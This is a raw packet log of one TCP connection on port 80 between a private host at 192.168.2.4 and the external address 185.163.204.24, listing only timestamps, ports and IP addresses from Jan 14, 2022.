Jan 14, 2022 12:30:18.471514940 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471530914 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471549034 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471549988 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471565962 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471582890 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471595049 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471601009 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471617937 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471626997 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471637011 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471652985 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471653938 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471669912 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471687078 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471694946 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471704006 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471724033 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471724987 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471740007 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471755981 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471760035 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471772909 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471790075 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471791029 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471807003 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471823931 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471826077 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471841097 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471858978 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471873045 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471874952 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471893072 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471899033 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471911907 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471929073 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471932888 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471946001 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471962929 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471978903 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.471981049 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.471996069 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472012043 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472012997 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.472028971 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472045898 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472045898 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.472062111 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472079039 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472079039 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.472095966 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472105026 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.472112894 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472131014 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472141981 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.472148895 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472166061 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472173929 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.472183943 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472199917 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472203970 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.472217083 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472234011 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472237110 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.472250938 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472268105 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472270966 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.472285032 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472301006 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472307920 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.472317934 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472336054 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472346067 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.472356081 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472373009 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.472388983 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.472421885 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.472805977 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.521610022 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.547828913 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.547858953 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.547878981 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.547899961 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.547899961 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.547919989 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.547930002 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.547935963 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.547954082 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.547969103 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.547975063 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.547985077 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.547996998 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548002958 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548018932 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548019886 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548038006 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548053980 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548059940 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548070908 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548088074 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548089027 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548105001 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548121929 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548137903 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548140049 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548156977 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548157930 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548177958 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548194885 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548207045 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548216105 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548227072 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548238993 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548243999 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548258066 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548261881 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548279047 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548295021 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548302889 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548314095 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548331022 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548332930 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548347950 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548365116 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548365116 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548382044 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548398018 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548403978 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548414946 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548429012 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548439980 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548455954 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548471928 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548480988 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548490047 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548507929 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548507929 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548527002 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548542976 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548547029 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548561096 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548577070 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548578978 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548593044 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548610926 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548610926 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548628092 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548645020 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548645020 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548662901 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548679113 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548681021 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548696995 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548713923 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548727036 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548731089 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548748970 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548748970 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548767090 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548784971 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548803091 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548804045 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548820019 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548830986 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548837900 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548856020 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548858881 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548872948 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548890114 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548891068 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548907995 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548924923 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548933029 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548943043 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548959017 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548963070 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.548976898 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548993111 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.548995972 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549010038 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549026966 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549029112 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549042940 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549060106 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549062967 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549077988 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549094915 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549104929 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549110889 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549128056 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549129963 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549144983 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549161911 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549161911 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549177885 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549195051 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549204111 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549213886 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549231052 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549232960 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549248934 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549266100 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549267054 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549283028 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549294949 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549299955 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549318075 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549334049 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549341917 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549351931 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549367905 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549369097 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549385071 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549401999 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549418926 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549422979 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549438000 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549454927 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549454927 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549472094 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549472094 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549489975 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549504995 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549513102 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549523115 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549539089 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549540997 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549556017 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549572945 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549576044 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549590111 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549607038 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549607038 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549623966 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549640894 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549643040 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549657106 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549674034 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549674988 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549690008 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549706936 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549715042 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549722910 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549741030 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549741983 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549760103 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549772024 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549776077 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549793959 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549809933 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549812078 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549827099 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549844027 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549844027 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549875975 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549877882 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549895048 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549916029 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549926996 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549933910 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549951077 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549967051 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.549968004 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.549987078 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550002098 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550004005 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550023079 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550038099 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550045013 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550055981 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550071955 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550075054 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550088882 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550101995 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550105095 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550123930 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550139904 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550148010 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550158024 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550173998 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550179005 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550192118 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550208092 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550209999 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550225973 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550244093 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550251007 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550261974 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550278902 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550282001 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550296068 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550312996 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550312996 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550329924 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550345898 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550350904 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550363064 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550380945 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550381899 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550398111 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550415039 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550419092 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550432920 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550447941 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550451040 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550466061 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550483942 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550483942 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550501108 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550515890 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.550518990 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.550553083 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.576956034 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.576993942 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577023029 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577047110 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.577049971 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577076912 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577104092 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.577105045 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577132940 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577150106 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.577159882 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577187061 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577202082 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.577215910 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577244043 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577254057 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.577271938 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577297926 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577311039 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.577326059 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577353954 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577363014 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.577375889 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577418089 CET	49930	80	192.168.2.4	185.163.204.24
Jan 14, 2022 12:30:18.577497005 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577526093 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577553034 CET	80	49930	185.163.204.24	192.168.2.4
Jan 14, 2022 12:30:18.577563047 CET	49930	80	192.168.2.4	185.163.204.24
